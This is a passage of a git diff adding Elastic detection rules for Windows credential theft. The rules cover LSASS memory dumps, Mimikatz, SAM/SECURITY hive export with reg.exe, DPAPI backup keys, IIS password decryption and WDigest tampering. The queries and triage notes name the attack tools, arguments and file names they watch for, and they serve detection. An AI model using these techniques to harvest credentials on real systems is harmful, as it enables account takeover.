Kerberoasting. + +#### Possible investigation steps + +- Identify the account that performed the action. +- Check whether this user should be doing this kind of activity. +- Investigate if the target account is privileged. +- Contact the account owner and confirm whether they are aware of this activity. + +### False positive analysis + +- Disabling pre-authentication is a bad security practice and should not be allowed in the domain. The security team +should map and monitor any potential benign true positives (B-TPs), especially if the target account is privileged. + +### Response and remediation + +- Initiate the incident response process based on the outcome of the triage. +- Reset the target account's password if there is any risk of TGTs having been retrieved. +- Reset the password of the origin user if the activity was not recognized by the account owner. +- Re-enable the preauthentication option for the account. + +## Config + +The 'Audit User Account Management' logging policy must be configured for (Success, Failure). +Steps to implement the logging policy with Advanced Audit Configuration: + +``` +Computer Configuration > +Policies > +Windows Settings > +Security Settings > +Advanced Audit Policies Configuration > +Audit Policies > +Account Management > +Audit User Account Management (Success,Failure) +``` +""" +references = [ + "https://www.harmj0y.net/blog/activedirectory/roasting-as-reps", + "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4738", + "https://github.com/atc-project/atomic-threat-coverage/blob/master/Atomic_Threat_Coverage/Logging_Policies/LP_0026_windows_audit_user_account_management.md" +] +risk_score = 47 +rule_id = "e514d8cd-ed15-4011-84e2-d15147e059f1" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Credential Access"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.code:4738 and message:"'Don't Require Preauth' - Enabled" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" + +[[rule.threat.technique]] +id = "T1558" +name = "Steal or Forge Kerberos Tickets" +reference = "https://attack.mitre.org/techniques/T1558/" + + [[rule.threat.technique.subtechnique]] + name = "AS-REP Roasting" + id = "T1558.004" + reference = "https://attack.mitre.org/techniques/T1558/004/" + +[rule.threat.tactic] +id = "TA0006" +name = "Credential Access" +reference = "https://attack.mitre.org/tactics/TA0006/" + diff --git a/rules/windows/credential_access_domain_backup_dpapi_private_keys.toml b/rules/windows/credential_access_domain_backup_dpapi_private_keys.toml new file mode 100644 index 000000000..55927ca6a --- /dev/null +++ b/rules/windows/credential_access_domain_backup_dpapi_private_keys.toml @@ -0,0 +1,57 @@ +[metadata] +creation_date = "2020/08/13" +maturity = "production" +updated_date = "2021/05/10" + +[rule] +author = ["Elastic"] +description = """ +Identifies the creation or modification of Domain Backup private keys. Adversaries may extract the Data Protection API +(DPAPI) domain backup key from a Domain Controller (DC) to be able to decrypt any domain user master key file. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Creation or Modification of Domain Backup DPAPI private key" +note = """## Triage and analysis + +Domain DPAPI Backup keys are stored on domain controllers and can be dumped remotely with tools such as Mimikatz. The resulting .pvk private key can be used to decrypt ANY domain user masterkeys, which then can be used to decrypt any secrets protected by those keys.""" +references = [ + "https://www.dsinternals.com/en/retrieving-dpapi-backup-keys-from-active-directory/", + "https://www.harmj0y.net/blog/redteaming/operational-guidance-for-offensive-user-dpapi-abuse/", +] +risk_score = 73 +rule_id = "b83a7e96-2eb3-4edf-8346-427b6858d3bd" +severity = "high" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Credential Access"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +file where event.type != "deletion" and file.name : ("ntds_capi_*.pfx", "ntds_capi_*.pvk") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1552" +reference = "https://attack.mitre.org/techniques/T1552/" +name = "Unsecured Credentials" +[[rule.threat.technique.subtechnique]] +id = "T1552.004" +reference = "https://attack.mitre.org/techniques/T1552/004/" +name = "Private Keys" +[[rule.threat.technique]] +id = "T1555" +name = "Credentials from Password Stores" +reference = "https://attack.mitre.org/techniques/T1555/" + + + +[rule.threat.tactic] +id = "TA0006" +reference = "https://attack.mitre.org/tactics/TA0006/" +name = "Credential Access" + diff --git a/rules/windows/credential_access_dump_registry_hives.toml b/rules/windows/credential_access_dump_registry_hives.toml new file mode 100644 index 000000000..7a7511cbe --- /dev/null +++ b/rules/windows/credential_access_dump_registry_hives.toml @@ -0,0 +1,53 @@ +[metadata] +creation_date = "2020/11/23" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = "Identifies attempts to export a registry hive which may contain credentials using the Windows reg.exe tool." +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Credential Acquisition via Registry Hive Dumping" +references = [ + "https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-the-registry-7512674487f8", +] +risk_score = 73 +rule_id = "a7e7bfa3-088e-4f13-b29e-3986e0e756b8" +severity = "high" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Credential Access"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started") and + process.pe.original_file_name == "reg.exe" and + process.args : ("save", "export") and + process.args : ("hklm\\sam", "hklm\\security") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1003" +name = "OS Credential Dumping" +reference = "https://attack.mitre.org/techniques/T1003/" + + [[rule.threat.technique.subtechnique]] + name = "Security Account Manager" + id = "T1003.002" + reference = "https://attack.mitre.org/techniques/T1003/002/" + + [[rule.threat.technique.subtechnique]] + name = "LSA Secrets" + id = "T1003.004" + reference = "https://attack.mitre.org/techniques/T1003/004/" + +[rule.threat.tactic] +id = "TA0006" +name = "Credential Access" +reference = "https://attack.mitre.org/tactics/TA0006/" + diff --git a/rules/windows/credential_access_iis_apppoolsa_pwd_appcmd.toml b/rules/windows/credential_access_iis_apppoolsa_pwd_appcmd.toml new file mode 100644 index 000000000..1f8aaaafe --- /dev/null +++ b/rules/windows/credential_access_iis_apppoolsa_pwd_appcmd.toml @@ -0,0 +1,45 @@ +[metadata] +creation_date = "2020/08/18" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +Identifies the Internet Information Services (IIS) command-line tool, AppCmd, being used to list passwords. An attacker +with IIS web server access via a web shell can decrypt and dump the IIS AppPool service account password using AppCmd. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +max_signals = 33 +name = "Microsoft IIS Service Account Password Dumped" +references = ["https://blog.netspi.com/decrypting-iis-passwords-to-break-out-of-the-dmz-part-1/"] +risk_score = 73 +rule_id = "0564fb9d-90b9-4234-a411-82a546dc1343" +severity = "high" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Credential Access"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started") and + (process.name : "appcmd.exe" or process.pe.original_file_name == "appcmd.exe") and + process.args : "/list" and process.args : "/text*password" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1003" +name = "OS Credential Dumping" +reference = "https://attack.mitre.org/techniques/T1003/" + + +[rule.threat.tactic] +id = "TA0006" +name = "Credential Access" +reference = "https://attack.mitre.org/tactics/TA0006/" + diff --git a/rules/windows/credential_access_iis_connectionstrings_dumping.toml b/rules/windows/credential_access_iis_connectionstrings_dumping.toml new file mode 100644 index 000000000..330b69b8a --- /dev/null +++ b/rules/windows/credential_access_iis_connectionstrings_dumping.toml @@ -0,0 +1,49 @@ +[metadata] +creation_date = "2020/08/18" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +Identifies use of aspnet_regiis to decrypt Microsoft IIS connection strings. An attacker with Microsoft IIS web server +access via a webshell or alike can decrypt and dump any hardcoded connection strings, such as the MSSQL service account +password using aspnet_regiis command. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +max_signals = 33 +name = "Microsoft IIS Connection Strings Decryption" +references = [ + "https://blog.netspi.com/decrypting-iis-passwords-to-break-out-of-the-dmz-part-1/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/greenbug-espionage-telco-south-asia", +] +risk_score = 73 +rule_id = "c25e9c87-95e1-4368-bfab-9fd34cf867ec" +severity = "high" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Credential Access"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started") and + (process.name : "aspnet_regiis.exe" or process.pe.original_file_name == "aspnet_regiis.exe") and + process.args : "connectionStrings" and process.args : "-pdf" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1003" +name = "OS Credential Dumping" +reference = "https://attack.mitre.org/techniques/T1003/" + + +[rule.threat.tactic] +id = "TA0006" +name = "Credential Access" +reference = "https://attack.mitre.org/tactics/TA0006/" + diff --git a/rules/windows/credential_access_kerberoasting_unusual_process.toml b/rules/windows/credential_access_kerberoasting_unusual_process.toml new file mode 100644 index 000000000..3c5f7c183 --- /dev/null +++ b/rules/windows/credential_access_kerberoasting_unusual_process.toml @@ -0,0 +1,50 @@ +[metadata] +creation_date = "2020/11/02" +maturity = "production" +updated_date = "2022/02/16" + +[rule] +author = ["Elastic"] +description = """ +Identifies network connections to the standard Kerberos port from an unusual process. On Windows, the only process that +normally performs Kerberos traffic from a domain joined host is lsass.exe. +""" +false_positives = [ + """ + HTTP traffic on a non standard port. Verify that the destination IP address is not related to a Domain Controller. + """, +] +from = "now-9m" +index = ["logs-endpoint.events.*", "winlogbeat-*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Kerberos Traffic from Unusual Process" +risk_score = 47 +rule_id = "897dc6b5-b39f-432a-8d75-d3730d50c782" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Credential Access"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +network where event.type == "start" and network.direction : ("outgoing", "egress") and + destination.port == 88 and source.port >= 49152 and + process.executable != "C:\\Windows\\System32\\lsass.exe" and destination.address !="127.0.0.1" and destination.address !="::1" and + /* insert false positives here */ + not process.name in ("swi_fc.exe", "fsIPcam.exe", "IPCamera.exe", "MicrosoftEdgeCP.exe", "MicrosoftEdge.exe", "iexplore.exe", "chrome.exe", "msedge.exe", "opera.exe", "firefox.exe") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1558" +name = "Steal or Forge Kerberos Tickets" +reference = "https://attack.mitre.org/techniques/T1558/" + + +[rule.threat.tactic] +id = "TA0006" +name = "Credential Access" +reference = "https://attack.mitre.org/tactics/TA0006/" + diff --git a/rules/windows/credential_access_lsass_memdump_file_created.toml b/rules/windows/credential_access_lsass_memdump_file_created.toml new file mode 100644 index 000000000..c544d1956 --- /dev/null +++ b/rules/windows/credential_access_lsass_memdump_file_created.toml @@ -0,0 +1,47 @@ +[metadata] +creation_date = "2020/11/24" +maturity = "production" +updated_date = "2021/04/14" + +[rule] +author = ["Elastic"] +description = """ +Identifies the creation of a Local Security Authority Subsystem Service (lsass.exe) default memory dump. This may +indicate a credential access attempt via trusted system utilities such as Task Manager (taskmgr.exe) and SQL Dumper +(sqldumper.exe) or known pentesting tools such as Dumpert and AndrewSpecial. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "LSASS Memory Dump Creation" +references = ["https://github.com/outflanknl/Dumpert", "https://github.com/hoangprod/AndrewSpecial"] +risk_score = 73 +rule_id = "f2f46686-6f3c-4724-bd7d-24e31c70f98f" +severity = "high" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Credential Access"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +file where file.name : ("lsass*.dmp", "dumpert.dmp", "Andrew.dmp", "SQLDmpr*.mdmp", "Coredump.dmp") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1003" +reference = "https://attack.mitre.org/techniques/T1003/" +name = "OS Credential Dumping" + + [[rule.threat.technique.subtechnique]] + name = "LSASS Memory" + id = "T1003.001" + reference = "https://attack.mitre.org/techniques/T1003/001/" + +[rule.threat.tactic] +id = "TA0006" +reference = "https://attack.mitre.org/tactics/TA0006/" +name = "Credential Access" + diff --git a/rules/windows/credential_access_lsass_memdump_handle_access.toml b/rules/windows/credential_access_lsass_memdump_handle_access.toml new file mode 100644 index 000000000..cc2da77a1 --- /dev/null +++ b/rules/windows/credential_access_lsass_memdump_handle_access.toml @@ -0,0 +1,126 @@ +[metadata] +creation_date = "2022/02/16" +maturity = "production" +updated_date = "2022/02/16" + +[rule] +author = ["Elastic"] +description = """ +Identifies handle requests for the Local Security Authority Subsystem Service (LSASS) object access with +specific access masks that many tools with a capability to dump memory to disk use (0x1fffff, 0x1010, 0x120089). +This rule is tool agnostic as it has been validated against a host of various LSASS dump tools such as SharpDump, +Procdump, Mimikatz, Comsvcs etc. It detects this behavior at a low level and does not depend on a specific tool or dump +file name. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-system.*"] +language = "eql" +license = "Elastic License v2" +name = "LSASS Memory Dump Handle Access" +note = """## Triage and analysis. + +### Investigating + +Local Security Authority Server Service (LSASS) is a process in Microsoft Windows operating systems that is responsible +for enforcing the security policy on the system. It verifies users logging on to a Windows computer or server, handles +password changes, and creates access tokens. + +Adversaries may attempt to access credential material stored in the process memory of the LSASS. After a user logs on, +the system generates and stores a variety of credential materials in LSASS process memory. This is meant to facilitate +single sign-on (SSO) ensuring a user isn’t prompted each time resource access is requested. These credential materials +can be harvested by an adversary using administrative user or SYSTEM privileges to conduct Lateral Movement using +[Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550/). + +#### Possible investigation steps: + +- Validate the correct install path for the process that triggered this detection +- Confirm that any AV or EDR solutions that trigger this detection have the correct install path + +### False Positive Analysis + +- There should be very few if any false positives for this rule. However, it may be tripped by AV or EDR solutions. + +### Response and Remediation + +- Initiate the incident response process based on the outcome of the triage +- In case of specific credentials were compromised: + - Reset the password for the accounts + +## Config + +Ensure advanced audit policies for Windows are enabled, specifically +Object Access policies [Event ID 4656](https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4656) (Handle to an Object was Requested) + +``` +Computer Configuration > +Policies > +Windows Settings > +Security Settings > +Advanced Audit Policies Configuration > +System Audit Policies > +Object Access > +Audit File System (Success,Failure) +Audit Handle Manipulation (Success,Failure) +``` + +Also, this event generates only if the object’s [SACL](https://docs.microsoft.com/en-us/windows/win32/secauthz/access-control-lists) has the required ACE to handle the use of specific access rights. +""" +references = [ + "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4656", + "https://twitter.com/jsecurity101/status/1227987828534956033?s=20", + "https://attack.mitre.org/techniques/T1003/001/", + "https://threathunterplaybook.com/notebooks/windows/06_credential_access/WIN-170105221010.html", + "http://findingbad.blogspot.com/2017/" +] +risk_score = 73 +rule_id = "208dbe77-01ed-4954-8d44-1e5751cb20de" +severity = "high" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Credential Access"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +any where event.action == "File System" and event.code == "4656" and + + winlog.event_data.ObjectName : ( + "?:\\Windows\\System32\\lsass.exe", + "\\Device\\HarddiskVolume?\\Windows\\System32\\lsass.exe", + "\\Device\\HarddiskVolume??\\Windows\\System32\\lsass.exe") and + + /* The right to perform an operation controlled by an extended access right. */ + + (winlog.event_data.AccessMask : ("0x1fffff" , "0x1010", "0x120089", "0x1F3FFF") or + winlog.event_data.AccessMaskDescription : ("READ_CONTROL", "Read from process memory")) + + /* Common Noisy False Positives */ + + and not winlog.event_data.ProcessName : ( + "?:\\Program Files\\*.exe", + "?:\\Program Files (x86)\\*.exe", + "?:\\Windows\\system32\\wbem\\WmiPrvSE.exe", + "?:\\Windows\\System32\\dllhost.exe", + "?:\\Windows\\System32\\svchost.exe", + "?:\\Windows\\System32\\msiexec.exe", + "?:\\ProgramData\\Microsoft\\Windows Defender\\*.exe", + "?:\\Windows\\explorer.exe") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" + +[[rule.threat.technique]] +id = "T1003" +name = "OS Credential Dumping" +reference = "https://attack.mitre.org/techniques/T1003/" + + [[rule.threat.technique.subtechnique]] + id = "T1003.001" + name = "LSASS Memory" + reference = "https://attack.mitre.org/techniques/T1003/001/" + +[rule.threat.tactic] +id = "TA0006" +name = "Credential Access" +reference = "https://attack.mitre.org/tactics/TA0006/" + diff --git a/rules/windows/credential_access_mimikatz_memssp_default_logs.toml b/rules/windows/credential_access_mimikatz_memssp_default_logs.toml new file mode 100644 index 000000000..9984f15ac --- /dev/null +++ b/rules/windows/credential_access_mimikatz_memssp_default_logs.toml @@ -0,0 +1,38 @@ +[metadata] +creation_date = "2020/08/31" +maturity = "production" +updated_date = "2021/04/14" + +[rule] +author = ["Elastic"] +description = "Identifies the password log file from the default Mimikatz memssp module." +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Mimikatz Memssp Log File Detected" +risk_score = 73 +rule_id = "ebb200e8-adf0-43f8-a0bb-4ee5b5d852c6" +severity = "high" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Credential Access"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +file where file.name : "mimilsa.log" and process.name : "lsass.exe" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1003" +reference = "https://attack.mitre.org/techniques/T1003/" +name = "OS Credential Dumping" + + +[rule.threat.tactic] +id = "TA0006" +reference = "https://attack.mitre.org/tactics/TA0006/" +name = "Credential Access" + diff --git a/rules/windows/credential_access_mimikatz_powershell_module.toml b/rules/windows/credential_access_mimikatz_powershell_module.toml new file mode 100644 index 000000000..7a160d027 --- /dev/null +++ b/rules/windows/credential_access_mimikatz_powershell_module.toml @@ -0,0 +1,85 @@ +[metadata] +creation_date = "2020/12/07" +maturity = "development" +updated_date = "2021/09/09" + +[rule] +author = ["Elastic"] +description = """ +Mimikatz is a credential dumper capable of obtaining plaintext Windows account logins and passwords, along with many +other features that make it useful for testing the security of networks. This rule detects the Invoke-Mimikatz +PowerShell command. +""" +from = "now-9m" +index = ["logs-endpoint.events.*", "winlogbeat-*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Mimikatz Powershell Module Activity" +note = """## Triage and analysis + +### Investigating Mimikatz PowerShell Activity + +[Mimikatz](https://github.com/gentilkiwi/mimikatz) is an open-source tool used to collect, decrypt, and/or use cached +credentials. This tool is commonly abused by adversaries during the post-compromise stage where adversaries have gained +an initial foothold onto an endpoint and are looking to elevate privileges and seek out additional authentication objects +such as tokens/hashes/credentials that can then be used to laterally move and pivot across a network. + +#### Possible investigation steps: +- This specific rule is based on Mimikatz command-line parameters used to dump credentials from the Local Security +Authority Subsystem Service (LSASS). Any activity triggered from this rule should be treated with high priority as it +typically represents an active adversary. +- Any kind of available host-based events or logs such as Windows Security Events, PowerShell logging and EDR events should +be used to seek further understanding around the events that led up to the rule as well as activity found shortly after the event. +- Further examination should include reviewing network logs to determine potential lateral movement. +- Validate that the source of the Mimikatz activity was not from an authorized source such as automated testing such as +Atomic Red Team or through offensive/compromise assessments. + +### False Positive Analysis +- This rule should be on the higher confidence side of true positive activity therefore any testing such as offensive +/compromise engagements should be ruled out before invoking incident response procedures + +### Related Rules +- Mimikatz Memssp Log File Detected +- Creation or Modification of Domain Backup DPAPI private key +- Modification of WDigest Security Provider + +### Response and Remediation +- Take immediate action to review, investigate and potentially isolate activity to prevent further post-compromise +behavior +- During credential dump compromises, investigate the registry in order to check the number of cached users that have +used the machine. These users should have their password reset. +- Validate that cleartext passwords are disabled in memory for use with `WDigest`. +- Look into preventing access to `LSASS` using capabilities such as LSA protection or leveraging AV/EDR tools that provide +this capability. +- This [resource](https://adsecurity.org/?page_id=1821) provided by ADSecurity should be used as required reading for +detecting/preventing and understanding the different Mimikatz components. +""" +references = ["https://attack.mitre.org/software/S0002/"] +risk_score = 99 +rule_id = "ac96ceb8-4399-4191-af1d-4feeac1f1f46" +severity = "critical" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Credential Access"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started") and process.name : ("cmd.exe", "powershell.exe", "pwsh.exe") +and process.args : ("*DumpCreds", "*Mimikatz*") +''' + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1003" +name = "OS Credential Dumping" +reference = "https://attack.mitre.org/techniques/T1003/" + + [[rule.threat.technique.subtechnique]] + name = "LSASS Memory" + id = "T1003.001" + reference = "https://attack.mitre.org/techniques/T1003/001/" + +[rule.threat.tactic] +id = "TA0006" +name = "Credential Access" +reference = "https://attack.mitre.org/tactics/TA0006/" diff --git a/rules/windows/credential_access_mod_wdigest_security_provider.toml b/rules/windows/credential_access_mod_wdigest_security_provider.toml new file mode 100644 index 000000000..58faf8624 --- /dev/null +++ b/rules/windows/credential_access_mod_wdigest_security_provider.toml @@ -0,0 +1,55 @@ +[metadata] +creation_date = "2021/01/19" +maturity = "production" +updated_date = "2022/02/03" + +[rule] +author = ["Elastic"] +description = """ +Identifies attempts to modify the WDigest security provider in the registry to force the user's password to be stored in +clear text in memory. This behavior can be indicative of an adversary attempting to weaken the security configuration of +an endpoint. Once the UseLogonCredential value is modified, the adversary may attempt to dump clear text passwords from +memory. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Modification of WDigest Security Provider" +references = [ + "https://www.csoonline.com/article/3438824/how-to-detect-and-halt-credential-theft-via-windows-wdigest.html", + "https://www.praetorian.com/blog/mitigating-mimikatz-wdigest-cleartext-credential-theft?edition=2019", +] +risk_score = 73 +rule_id = "d703a5af-d5b0-43bd-8ddb-7a5d500b7da5" +severity = "high" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Credential Access"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +registry where event.type : ("creation", "change") and + registry.path : + "HKLM\\SYSTEM\\*ControlSet*\\Control\\SecurityProviders\\WDigest\\UseLogonCredential" + and registry.data.strings : ("1", "0x00000001") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1003" +name = "OS Credential Dumping" +reference = "https://attack.mitre.org/techniques/T1003/" +[[rule.threat.technique.subtechnique]] +id = "T1003.001" +name = "LSASS Memory" +reference = "https://attack.mitre.org/techniques/T1003/001/" + + + +[rule.threat.tactic] +id = "TA0006" +name = "Credential Access" +reference = "https://attack.mitre.org/tactics/TA0006/" + diff --git a/rules/windows/credential_access_moving_registry_hive_via_smb.toml b/rules/windows/credential_access_moving_registry_hive_via_smb.toml new file mode 100644 index 000000000..436b7c320 --- /dev/null +++ b/rules/windows/credential_access_moving_registry_hive_via_smb.toml @@ -0,0 +1,68 @@ +[metadata] +creation_date = "2022/02/16" +maturity = "production" +min_stack_comments = "File header bytes field populated until 7.15." +min_stack_version = "7.15.0" +updated_date = "2022/02/16" + +[rule] +author = ["Elastic"] +description = """ +Identifies the creation or modification of a medium size registry hive file via the SMB protocol. This may indicate an +exfiltration attempt via dumping SAM registry hive in preparation for credential access. +""" +from = "now-9m" +index = ["logs-endpoint.events.*"] +language = "eql" +license = "Elastic License v2" +name = "Registry Hive File Creation via SMB" +risk_score = 47 +rule_id = "a4c7473a-5cb4-4bc1-9d06-e4a75adbc494" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Lateral Movement", "Credential Access"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +file where event.type == "creation" and + /* regf file header */ + file.Ext.header_bytes : "72656766*" and file.size >= 30000 and + process.pid == 4 and user.id : "s-1-5-21*" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1003" +name = "OS Credential Dumping" +reference = "https://attack.mitre.org/techniques/T1003/" +[[rule.threat.technique.subtechnique]] +id = "T1003.002" +name = "Security Account Manager" +reference = "https://attack.mitre.org/techniques/T1003/002/" + + + +[rule.threat.tactic] +id = "TA0006" +name = "Credential Access" +reference = "https://attack.mitre.org/tactics/TA0006/" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1021" +name = "Remote Services" +reference = "https://attack.mitre.org/techniques/T1021/" +[[rule.threat.technique.subtechnique]] +id = "T1021.002" +name = "SMB/Windows Admin Shares" +reference = "https://attack.mitre.org/techniques/T1021/002/" + + + +[rule.threat.tactic] +id = "TA0008" +name = "Lateral Movement" +reference = "https://attack.mitre.org/tactics/TA0008/" + diff --git a/rules/windows/credential_access_persistence_network_logon_provider_modification.toml b/rules/windows/credential_access_persistence_network_logon_provider_modification.toml new file mode 100644 index 000000000..3536aa91d --- /dev/null +++ b/rules/windows/credential_access_persistence_network_logon_provider_modification.toml @@ -0,0 +1,66 @@ +[metadata] +creation_date = "2021/03/18" +maturity = "production" +updated_date = "2022/02/28" + +[rule] +author = ["Elastic"] +description = """ +Identifies the modification of the network logon provider registry. Adversaries may register a rogue network logon +provider module for persistence and/or credential access via intercepting the authentication credentials in clear text +during user logon. +""" +false_positives = ["Authorized third party network logon providers."] +from = "now-9m" +index = ["logs-endpoint.events.*"] +language = "eql" +license = "Elastic License v2" +name = "Network Logon Provider Registry Modification" +references = [ + "https://github.com/gtworek/PSBits/tree/master/PasswordStealing/NPPSpy", + "https://docs.microsoft.com/en-us/windows/win32/api/npapi/nf-npapi-nplogonnotify", +] +risk_score = 47 +rule_id = "54c3d186-0461-4dc3-9b33-2dc5c7473936" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Persistence", "Credential Access"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +registry where registry.data.strings != null and + registry.path : "HKLM\\SYSTEM\\*ControlSet*\\Services\\*\\NetworkProvider\\ProviderPath" and + /* Excluding default NetworkProviders RDPNP, LanmanWorkstation and webclient. */ + not ( user.id : "S-1-5-18" and + registry.data.strings in + ("%SystemRoot%\\System32\\ntlanman.dll", + "%SystemRoot%\\System32\\drprov.dll", + "%SystemRoot%\\System32\\davclnt.dll") + ) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1556" +name = "Modify Authentication Process" +reference = "https://attack.mitre.org/techniques/T1556/" + + +[rule.threat.tactic] +id = "TA0006" +name = "Credential Access" +reference = "https://attack.mitre.org/tactics/TA0006/" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1543" +name = "Create or Modify System Process" +reference = "https://attack.mitre.org/techniques/T1543/" + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" diff --git a/rules/windows/credential_access_posh_minidump.toml b/rules/windows/credential_access_posh_minidump.toml new file mode 100644 index 000000000..74934ee76 --- /dev/null +++ b/rules/windows/credential_access_posh_minidump.toml @@ -0,0 +1,119 @@ +[metadata] +creation_date = "2021/10/05" +maturity = "production" +updated_date = "2022/02/28" + +[rule] +author = ["Elastic"] +description = """ +This rule detects PowerShell scripts capable of dumping process memory using WindowsErrorReporting or +Dbghelp.dll MiniDumpWriteDump. Attackers can use this tooling to dump LSASS and get access to credentials. +""" +false_positives = ["PowerShell scripts that use this capability for troubleshooting."] +from = "now-9m" +index = ["winlogbeat-*", "logs-windows.*"] +language = "kuery" +license = "Elastic License v2" +name = "PowerShell MiniDump Script" +note = """## Triage and analysis. + +### Investigating PowerShell MiniDump Script + +PowerShell is one of the main tools used by system administrators for automation, report routines, and other tasks. + +Process Memory Dump capabilities can be abused by attackers to extract credentials from LSASS or to obtain other privileged +information stored in the process memory. + +#### Possible investigation steps: + +- Examine script content that triggered the detection. +- Investigate script execution chain (parent process tree). +- Inspect any file or network events from the suspicious PowerShell host process instance. +- If the action is suspicious for the user, check for any other activities done by the user in the last 48 hours. + +### False Positive Analysis + +- Verify whether the script content is malicious/harmful. + +### Related Rules + +- PowerShell PSReflect Script - 56f2e9b5-4803-4e44-a0a4-a52dc79d57fe +- Potential Process Injection via PowerShell - 2e29e96a-b67c-455a-afe4-de6183431d0d + +### Response and Remediation + +- Immediate response steps should be taken to validate, investigate, and potentially contain the activity to prevent +further post-compromise behavior. + +## Config + +The 'PowerShell Script Block Logging' logging policy must be enabled. +Steps to implement the logging policy with with Advanced Audit Configuration: + +``` +Computer Configuration > +Administrative Templates > +Windows PowerShell > +Turn on PowerShell Script Block Logging (Enable) +``` + +Steps to implement the logging policy via registry: + +``` +reg add "hklm\\SOFTWARE\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging" /v EnableScriptBlockLogging /t REG_DWORD /d 1 +``` +""" +references = [ + "https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Out-Minidump.ps1", + "https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Get-ProcessMiniDump.ps1", + "https://github.com/atc-project/atc-data/blob/master/docs/Logging_Policies/LP_0109_windows_powershell_script_block_log.md" +] +risk_score = 73 +rule_id = "577ec21e-56fe-4065-91d8-45eb8224fe77" +severity = "high" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Credential Access"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:process and powershell.file.script_block_text:(MiniDumpWriteDump or MiniDumpWithFullMemory or pmuDetirWpmuDiniM) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" + +[[rule.threat.technique]] +reference = "https://attack.mitre.org/techniques/T1003/" +id = "T1003" +name = "OS Credential Dumping" + + 